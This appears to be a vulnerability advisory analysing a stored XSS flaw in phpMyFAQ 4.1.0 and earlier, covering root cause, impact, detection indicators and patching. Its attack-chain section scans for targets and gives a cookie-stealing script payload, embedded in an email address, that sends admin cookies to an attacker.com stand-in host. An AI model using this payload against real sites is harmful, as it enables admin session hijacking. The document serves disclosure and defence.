CVE-2026-32629: 
PHP vulnerability analysis and mitigation

CVE-2026-32629 is a stored Cross-Site Scripting (XSS) vulnerability in phpMyFAQ affecting all versions up to and including 4.1.0. An unauthenticated attacker can submit a guest FAQ entry with a crafted email address containing raw HTML/JavaScript that passes PHP's FILTER_VALIDATE_EMAIL validation due to RFC 5321 permitting special characters in quoted local parts. The malicious payload is stored in the database and later rendered unsanitized in the admin FAQ editor via Twig's |raw filter, executing in the administrator's browser. The vulnerability was published on March 31, 2026, with a patch released the same day. It carries a CVSS v3.1 score of 6.1 (Medium) and a CVSS v4.0 score of 5.4 (Medium) (GitHub Advisory).

The root cause is a combination of improper input validation (CWE-20) and improper neutralization of input during web page generation (CWE-79). PHP's FILTER_VALIDATE_EMAIL in FaqController.php (line 99) accepts RFC 5321-compliant quoted local parts such as "<script>alert(1)</script>"@evil.com as syntactically valid, allowing HTML to pass the validation check. The email is then stored directly in the database without HTML sanitization (Faq.php retrieves $row->email raw), and the admin Twig template at faq.editor.twig:296 renders it using the |raw filter ({{ faqData['email'] | raw }}), which explicitly disables Twig's auto-escaping. Exploitation requires no authentication to submit the payload, but does require an administrator to visit the FAQ edit page (/admin/faq/edit/{id}/{lang}) to trigger execution (GitHub Advisory, phpMyFAQ Advisory).

When an administrator opens the FAQ editor to review a pending guest submission, the injected script executes in the admin's browser context, enabling session cookie theft and full admin account takeover. A successful attack allows the attacker to perform arbitrary administrative actions including creating users, modifying content, and changing system configuration. The default phpMyFAQ configuration (records.allowNewFaqsForGuests=true and records.defaultActivation=false) makes this attack chain particularly reliable, as guest submissions are enabled by default and administrators are required to visit the edit page to activate them (GitHub Advisory).

A proof-of-concept exploit with step-by-step Docker-based reproduction instructions is publicly available in the GitHub security advisory (phpMyFAQ Advisory). There is no evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.21% (42nd percentile), indicating a low but non-negligible probability of exploitation in the near term. The built-in CAPTCHA (enabled by default when the PHP gd extension is present) prevents fully automated exploitation but does not block a targeted manual attack. The CVE is not currently listed in the CISA Known Exploited Vulnerabilities catalog.

1. Reconnaissance: Identify phpMyFAQ instances running version 4.1.0 or earlier using web search, Shodan, or Censys. Confirm guest FAQ submission is enabled (default: records.allowNewFaqsForGuests=true).
2. Craft malicious email payload: Construct an RFC 5321-compliant quoted email address embedding an XSS payload, e.g., "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"@evil.com.
3. Submit guest FAQ: Navigate to the public FAQ submission form and submit a new FAQ entry using the crafted email address as the contact email. Solve the CAPTCHA if present (manual step).
4. Payload stored: The application validates the email via FILTER_VALIDATE_EMAIL, accepts it as valid, and stores the raw HTML in the database without sanitization.
5. Wait for admin interaction: The default configuration (records.defaultActivation=false) ensures the administrator must visit /admin/faq/edit/{id}/{lang} to review and activate the submission.
6. XSS triggers: When the admin opens the FAQ editor, the Twig template renders the email field using |raw, causing the injected script to execute in the admin's browser context.
7. Achieve objective: The attacker receives the admin's session cookie, uses it to hijack the admin session, and gains full control of the phpMyFAQ instance (phpMyFAQ Advisory).

• Network: Outbound HTTP requests from the admin's browser to an external attacker-controlled domain (e.g., cookie-stealing endpoint) originating from the phpMyFAQ admin interface; unusual admin session activity from unexpected IP addresses.
• Logs: Web server access logs showing POST requests to the FAQ submission API endpoint (/api/faq or similar) with an email field containing HTML special characters (<, >, script); admin access logs showing /admin/faq/edit/ page visits shortly followed by anomalous admin actions.
• Database: FAQ records in the database where the email column contains HTML tags or JavaScript code (e.g., <script>, onerror=, javascript:) rather than a standard email address format.
• File System: Unexpected new admin user accounts or modified configuration files if the attacker leveraged the XSS to perform further actions (phpMyFAQ Advisory).

Upgrade phpMyFAQ to version 4.1.1 or later, which was released on March 31, 2026, and addresses this vulnerability (phpMyFAQ Release). As a configuration-based workaround prior to patching, administrators can disable guest FAQ submissions by setting records.allowNewFaqsForGuests=false, which prevents unauthenticated users from submitting the malicious payload. Additionally, the fix should include removing the |raw filter from faq.editor.twig:296 to re-enable Twig's auto-escaping, and implementing server-side HTML sanitization on the email field before database storage (GitHub Advisory).

The vulnerability was discovered and reported by researcher wooseokdotkim, who noted that the proof-of-concept was developed with AI assistance during source code review (phpMyFAQ Advisory). The phpMyFAQ maintainer (thorsten) published the advisory and patch on the same day (March 31, 2026), demonstrating a rapid response. No significant broader media coverage or notable community debate has been identified beyond the GitHub advisory.